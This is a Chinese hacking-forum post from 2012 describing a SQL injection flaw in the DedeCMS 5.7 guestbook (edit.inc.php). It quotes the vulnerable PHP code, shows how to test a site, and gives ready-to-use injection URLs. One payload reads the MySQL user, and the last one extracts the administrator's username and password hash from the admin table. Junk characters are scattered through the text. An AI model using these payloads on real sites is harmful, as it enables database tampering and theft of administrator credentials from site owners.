找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3837|回复: 0
打印 上一主题 下一主题

dedecms5.7最新sql注射漏洞利用 guestbook.php

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-13 13:24:11 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
影响版本为5.7" J) a" E' s( y4 d/ q

4 H6 x- b& l7 T漏洞文件edit.inc.php具体代码:
  l; U" m. l" J9 t1 f2 B
6 r7 X+ A1 p  F7 C' u6 b< ?php  
/ Z. Y* e; V% Z: K+ S4 l2 y5 j+ F# l  V4 E* t* K% k0 {9 C/ g
if(!defined('DEDEINC')) exit('Request Error!');  1 a0 N& b% ~6 {' f3 ~
% }0 L- [) U( F7 @4 k  ^" ^, G/ u: w3 i
   
3 D0 R. _# _' ?2 Z  j' M/ O! Y+ |: S3 q
if(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];  
2 }7 i# n- L% C+ t# c! e5 |9 M# q; t
else $GUEST_BOOK_POS = "guestbook.php";  
9 u1 d$ d& }  ^: D4 u) M- ?9 U# u, L/ u- n2 Q3 w
   , k& S! T  C  i. @% ^) A3 f

1 A4 L% o% M4 U( B' S1 d$id = intval($id);  
0 C0 x3 I2 H$ a( v
; l! S! s. _, pif(empty($job)) $job='view';  : L; e% X$ f2 e% g( b8 `
1 p2 q* |4 o; K* |1 _5 h
   
+ U4 W, c: y' G2 M
1 x$ X7 @8 n7 S0 L/ ~  \if($job=='del' && $g_isadmin)  - ]4 h  `/ i& u7 ^5 F: c
8 D) W. N0 z- Z& h8 `* a
{  
- M# b7 Z8 }" Y2 {0 G2 m
1 Q  S( _, Y$ N% m9 t# d$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");  : |7 J1 S' \; U' O, Z. {* o% m
( }; \, M. A# T
ShowMsg("成功删除一条留言!", $GUEST_BOOK_POS);  
8 `4 H: z; l# {6 f+ H9 x9 d: g5 T- M; l! C! a3 d$ g
exit();  & Z! v6 S% g& g/ p$ \) O( M
/ Q) b, f' `- k6 F" Z
}  / W& H. I2 K  T
7 m, v+ X- |9 e9 L" Z
else if($job=='check' && $g_isadmin)  
: p9 N: G* O1 z: }; X9 F5 R# R8 e* h4 y
{  
  h7 ?# y: o; k3 M4 k5 J6 }1 h7 G$ n6 N$ Q0 S1 D
$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");  1 j- @5 i) J0 n6 V

3 v* G, Q% t! A. C4 n( `ShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);  
5 D% G! O  y' A/ w2 w6 b" w/ h, e
% M& c! X" k. x! l- j/ mexit();  9 [3 T3 L, x* I+ p

8 m4 Q8 Y1 c! b  L6 M% D}  ) m  }. d1 b! i$ N

& o" ]/ u" S* |' m9 Z) O6 Yelse if($job=='editok')  
4 T# s3 f( r1 E
% W- v# W6 K3 T" b6 U2 \{  
; O4 K# }' F, h$ H, X2 j+ s! y- y3 I! b' C0 B$ [
$remsg = trim($remsg);  ; C, ?: o) _3 R$ N0 }( x+ F; P5 p
$ W, f) ^9 @% e% H, _
if($remsg!='')  
2 n$ \! Z% i% ?% [% _0 x% `$ K4 j' \5 e) B  ~5 r$ q
{  
2 K1 u/ k0 ]0 F7 B8 I, Y, ^) Q* H8 K9 T* L% \7 D
//管理员回复不过滤HTML By:Errorera blog:errs.cc  
" N: f5 K+ T2 Q/ V; `3 g8 E9 c% |5 H: \6 q( n/ S
if($g_isadmin)  ' a; B: L% l+ j7 t
. _& {; Y- U0 I" I% g. v
{  * G& {! J( v# O
* I& U6 `) k5 c* F5 k
$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;  + H5 O. C) G: a( U

1 y& W1 V- Q. w) Q! `' _//$remsg <br /><font color=red>管理员回复:</font> }  
! v/ t5 F$ U5 H5 A2 N3 ]9 E
; |- ~' s0 U+ O, felse
( @( H3 ^9 [  g3 W. w, q- [& }. }5 b  S! c' m7 j2 k
{  # }3 N, _- n5 a( ~' T( r3 K4 T
7 ?" ~! t% ], a' y  X
$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");  ) Q4 P) Z- ^5 o, L) Z  Z& [  F. O
6 C: U, k% s3 ?' |+ K8 W6 J& }, d
$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";  7 D* `/ r* [" m/ E4 h2 c8 q
! T; U! s8 h( B/ i+ |
$remsg = trimMsg(cn_substrR($remsg, 1024), 1);  4 |  j, d! |0 y* l
4 A, |4 ^: }9 k
$msg = $oldmsg.$remsg;  5 g1 z1 a& v# b. d* u

6 y6 ]/ S) o2 |3 [}  0 R+ e0 |9 k4 R- e6 s

, ?0 l1 M: H2 I# i& g}  2 u2 o; N7 X- k5 A
) o7 c0 p/ W0 A- k  j+ y
//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc  
  h" Y6 g; c2 r9 n5 e- ]
3 m: C1 H! ]- F& N& E" d* m$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");  
! E. M! q6 Z- p0 G& c  z6 P+ z# c8 Q% `) V3 ?' d& }
ShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS);  : q1 v- o; f% U  D% Y
) S  O! ^7 Y8 H: v# }$ U
exit();  
0 f: O- E# N6 B+ l6 `2 q) a$ ^* v- C6 `+ _  N% b
}  
( A, C+ h: o( r% v, M: e# \
, L; Q, x4 s( A# d  L9 K//home:www.errs.cc  
* R+ c4 c# Z: x7 a' g- }/ ?( Y8 C7 P* f  {, z
if($g_isadmin)  ; b3 W" y5 G# F9 V* U

. C5 j' ^( U' J& K{  
- |# V' k4 H# s$ Y3 d2 T: |
% m; O* m1 X+ s$ v$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");  " [) r- c, @" V8 P$ n

( r8 \6 z) Y# s! i. H, Frequire_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');  
+ H$ v, y; p! T9 T
# s0 L. j) x! U% {+ M( O- R4 S}  1 u4 R3 i/ }' Q5 Y6 d/ ^2 d

2 H9 \* z; O# m+ |  O7 c8 ~else
5 X4 P$ z6 h8 q" Y! ^
. r- T+ @1 d% n4 o. h% K( B7 ?{  
6 R  X, w  l5 X. Q0 D6 @: m3 x3 H* k
$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");  
" M5 c5 K' m6 {5 }& ^# V- v3 ^+ I0 s* s' j7 X0 U8 H
require_once(DEDETEMPLATE.'/plus/guestbook-user.htm');  
9 h9 i- s, D6 U% [
4 u8 P4 U" `. T2 Q} 漏洞成功需要条件:
& C3 W# E7 X( A1. php magic_quotes_gpc=off+ d+ l9 S7 s- r% z% v2 v
2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。
% k" A1 N) }/ e( J7 r) I( a5 X- l7 G5 J6 C- R, J
怎么判断是否存在漏洞:
/ J* _) q$ V0 t  s3 b( p先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,9 t7 O2 ]% ]& {0 j1 ~1 K
然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID
  H0 o) e9 q! v5 W( y3 _访问:
* K- k3 b0 Y9 S; b7 s3 I) T, ?9 }4 x3 I& Q* C% T
www.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了
$ @3 F+ a# m! i! k1 w+ v8 }3 j! r: O跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证
# K3 ?( ~% p8 K  |9 u1 B% }3 g. M
$ Q) s: Z( G( c) k( y0 b5 ^. Y* o: ^' T9 O1 c8 K  `6 e7 \
明漏洞无法利用应为他开启了 php magic_quotes_gpc=off
1 C' M# u  J5 i' S; P- K' \3 l1 ]如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。
' g! x/ e  _0 \5 R0 x$ O( T那么再次访问6 B9 f7 B2 }4 [6 Y: n8 u

' ?5 N* r- V8 \! j, Y) W: {www.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().8 p* }/ V( \1 P3 k! d

( D+ Q/ Z4 `2 N2 V3 v, X# X4 O大概利用就是这样,大家有兴趣的多研究下!!' a2 H6 L: _1 M- i9 v1 i. i

0 O% j/ @6 k; ~9 C最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!' v# u; e7 D% V3 X8 j/ t' ~2 ]1 N5 W

: T" L5 ~# c4 ?# ^+ kview sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表